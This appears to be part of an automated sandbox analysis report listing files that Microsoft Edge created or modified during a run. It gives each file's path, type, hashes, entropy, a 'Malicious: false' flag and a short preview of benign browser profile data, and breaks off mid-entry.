Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\75043142-0e91-408b-bcde-d4f3fa52a016.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17638), with no line terminators
Category:	modified
Size (bytes):	17638
Entropy (8bit):	5.484848452666251
Encrypted:	false
SSDEEP:	384:stMPGKSu4eshMCDNHGXsxxcIi2rbGJQw53C:sOOxukMCeyigbGaOC
MD5:	66FE906F56D243517142B46FB0BC29B0
SHA1:	E414B37E402671EC9586580127DF78A57BA48512
SHA-256:	053D2C67CC376BC3A991F510146C0EF9DCC2EB0FB69E81C5C4DCA7315CB2EECB
SHA-512:	4A6A7C4844E6C60FDEC2DA311D5B8957D7746195C55F064E0D07D3806631F0B7CE27A7052B6DAF986A0D7D94C126C92AFCF97FFDE5BBEDA585831316391DBBE5
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\828b9630-67d8-478b-8cff-94c2a02bcf37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13302
Entropy (8bit):	5.218686961487103
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypesjdMaFvrE9kNYNN0Z8pbV+F2YQw3QUZPvYJ:stMPGKSu4eshMCDCRbGJQwTC
MD5:	52886743776FDBC64728507A4D07BC7A
SHA1:	E7C915B3BAF896036F05BFA4FDD477E42B981DD0
SHA-256:	36D7861A48DBFA8937370C0F7E69E8037F4521B82530B209FF21AE54AE3A9E6A
SHA-512:	A657CAC2E1444173CFB7C4F58D4166853E4A07DF72703806331623F530CECB306A6DD04CF8FE13943C5EB67601C6A641300AF2650D1266CE3E32179B46AC1C63
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.218842212405193
Encrypted:	false
SSDEEP:	6:HU3RB1N723oH+Tcwtp3hBtB2KLlVULZ+q2PN723oH+Tcwtp3hBWsIFUv:aaYebp3dFLu+vVaYebp3eFUv
MD5:	E0B68A47BDF268873343DB02448C56FB
SHA1:	3AAAA759438DC0C9166243E2A987B8EE57C9FCC9
SHA-256:	DD461866CE81F619371C139FD166CBA885A761857197C3427DBE2FA348617C30
SHA-512:	1D343147645665E6CC0900539C13580980F5D9990B301D848B7FFCF7D4162ABE1D264895097D46171976F3544B71409560BDBE82AD44E5568DA48AEC9ADA709A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:39.690 20c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/18-19:01:40.229 20c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22288564593348
Encrypted:	false
SSDEEP:	24576:IbPMZpVYfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVYfx2mjF
MD5:	CDA4D63652FDBDD43BFF0CE60552365F
SHA1:	70EAEA985B656BF3CEB08A44CF9F653D28DF8849
SHA-256:	16CDAECABD0B2D968B7E2998547BE3B46C84DBB40A29ACF53A0C03D979E783A7
SHA-512:	D4AB62FB683E6523A394EBA108DE18089EECB7009FCCA108EA20C3ED52A6CB4D00C65AF6E4249874F3C91F78178B8D5D2D75071AD3833CD6F5303D0211E982E7
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.112399094089075
Encrypted:	false
SSDEEP:	6:HU3PDSMM+q2PN723oH+Tcwt9Eh1tIFUt8YU39Zmw+YU3ltfMVkwON723oH+TcwtY:oOMM+vVaYeb9Eh16FUt8P/+BfMV5OaYf
MD5:	0CAC5D767BA506A846428F9747D79D5B
SHA1:	BA76760A90FC74446653009F534B85576BE5F31B
SHA-256:	C4B19D479DDCD525C16020E687DEB64B0178AA8B5B78B226529EC9CAC26FB97A
SHA-512:	0158D9C2E94CAA1E711B206876300C66BA11511A6163CEBBA3F8760A333C633B4ED418643A9C1FF914D2301707AC80311E6647E0F01B2724F8FE1A4E03C69072
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:39.419 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-19:01:39.421 20fc Recovering log #3.2024/11/18-19:01:39.435 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.112399094089075
Encrypted:	false
SSDEEP:	6:HU3PDSMM+q2PN723oH+Tcwt9Eh1tIFUt8YU39Zmw+YU3ltfMVkwON723oH+TcwtY:oOMM+vVaYeb9Eh16FUt8P/+BfMV5OaYf
MD5:	0CAC5D767BA506A846428F9747D79D5B
SHA1:	BA76760A90FC74446653009F534B85576BE5F31B
SHA-256:	C4B19D479DDCD525C16020E687DEB64B0178AA8B5B78B226529EC9CAC26FB97A
SHA-512:	0158D9C2E94CAA1E711B206876300C66BA11511A6163CEBBA3F8760A333C633B4ED418643A9C1FF914D2301707AC80311E6647E0F01B2724F8FE1A4E03C69072
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:39.419 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-19:01:39.421 20fc Recovering log #3.2024/11/18-19:01:39.435 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4626672030414797
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBurH:TouQq3qh7z3bY2LNW9WMcUvBurH
MD5:	E25DE16B3C7DFFA457FF52667FE688B8
SHA1:	39B4350B41BF591C543D20E56A1739F7AD4F3004
SHA-256:	55191E182E47B2ECEE9B2D9C0B76637EC5BF5FC0EE64D135835768FC9FF8E8F2
SHA-512:	99276C75ABFE1396E16AEBF06D81FE3794C69228C5E8E8B97137B75EAAFE72C46E441943CAF8B20399E58F57C0322612FC28A58719434F0C02B4AE56110297CB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.160494638445137
Encrypted:	false
SSDEEP:	6:HUkM+q2PN723oH+TcwtnG2tMsIFUt8YUsZmw+YUHMVkwON723oH+TcwtnG2tMsLJ:LM+vVaYebn9GFUt8y/+dMV5OaYebn95J
MD5:	ADEB1C0AC7F92B57C1B34EB759A50E55
SHA1:	94B237FBF8488C3AC0A594AF6A7D86A11A2EE459
SHA-256:	ABE30C6E2AB25B2C7E8688CA8F5F0D677193CDB04AD59CFC80A648ACC8DADF6B
SHA-512:	60430EF48F9943673416191EC973125976CC318B73F1378F2F3D83CA404A2DED48E649108446535279F611E97669784243D3E64FA7DCD7C60EC753AA328976E0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.291 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-19:01:34.292 1e8c Recovering log #3.2024/11/18-19:01:34.292 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.160494638445137
Encrypted:	false
SSDEEP:	6:HUkM+q2PN723oH+TcwtnG2tMsIFUt8YUsZmw+YUHMVkwON723oH+TcwtnG2tMsLJ:LM+vVaYebn9GFUt8y/+dMV5OaYebn95J
MD5:	ADEB1C0AC7F92B57C1B34EB759A50E55
SHA1:	94B237FBF8488C3AC0A594AF6A7D86A11A2EE459
SHA-256:	ABE30C6E2AB25B2C7E8688CA8F5F0D677193CDB04AD59CFC80A648ACC8DADF6B
SHA-512:	60430EF48F9943673416191EC973125976CC318B73F1378F2F3D83CA404A2DED48E649108446535279F611E97669784243D3E64FA7DCD7C60EC753AA328976E0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.291 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-19:01:34.292 1e8c Recovering log #3.2024/11/18-19:01:34.292 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6137062877725634
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW780MAlFaqd:TLapR+DDNzWjJ0npnyXKUO8+jj0pWmL
MD5:	4B7628422E6392BED998D3CDE30BA106
SHA1:	D1E1EA932CAAFE7A6172D9CAACA4185C2452B735
SHA-256:	2A2DF7B279ADC6E9B3C4DA2E1CEC21E3475879BD849E56965EE368A20F1AA080
SHA-512:	F986B6ACCAEFBCF4509FF4FD95CCE33F504C2B32604C890773CF46BABCC33EB901F7C48748FD58C0300A1EA793FC07898E7EFA9ADB0E66607ED363B12664649A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354121437737975
Encrypted:	false
SSDEEP:	6144:XA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:XFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	146DB3C198ABB9E4F4D72028F67BE190
SHA1:	8F98D00498D566513CD270BB660EB24469033118
SHA-256:	5980A9604195D2E4D2B862EA7AA2380B687782B85761432DBA8C49CE39E6A06B
SHA-512:	7D350EEA2A672F3B3FD29A550F77FDDD3189CCAC1738ED4EF1EAD148B8D3AEF399EBFEBF96D3AF554EB42954B09294CF25E83A6631684EEA6299BBEAE2FD869F
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1..z.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376448100334744..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.11451283754128
Encrypted:	false
SSDEEP:	6:HU3FnhRM1N723oH+Tcwtk2WwnvB2KLlVU3zMq2PN723oH+Tcwtk2WwnvIFUv:CHsaYebkxwnvFLJvVaYebkxwnQFUv
MD5:	F27841598FB7E1819AF885A319D7BF2F
SHA1:	6927F6851A00E58B2EAF4DB6A119C06492D65DA6
SHA-256:	5CAE13CE80A53FAA72F57DD84D8B6C952422DAAC1F9E02D63D8FA266A727F992
SHA-512:	8AD95BA2781E1135FECA4630C7362E18F43EF19DF97FDFC6B40993FA3F8A494D6468C1E62773B5D7A1A5C27D7573B3B5B9B4875B5B6E4CF2838B0831B079FB4B
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:39.413 20e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/18-19:01:39.441 20e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612598051753
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R1:C1gAg1zfv9
MD5:	E0CFAF28148B425DDDFD1CA00F3A701A
SHA1:	020C3ED2E2BDBE0D78481CE013093A0FA4313301
SHA-256:	065E34F9D838FA4FE86F15BDFABE44C0322C599DA7F99190F5DDFD0E36881D63
SHA-512:	ECEE34EB2ED1291A9E6ED6BEE7941FA8A5791414514F451B008A55163B9DBDF2B07A12C5842BD42E49BF9A5C0971899D5857A9A8407857680794DF837C17AB6E
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
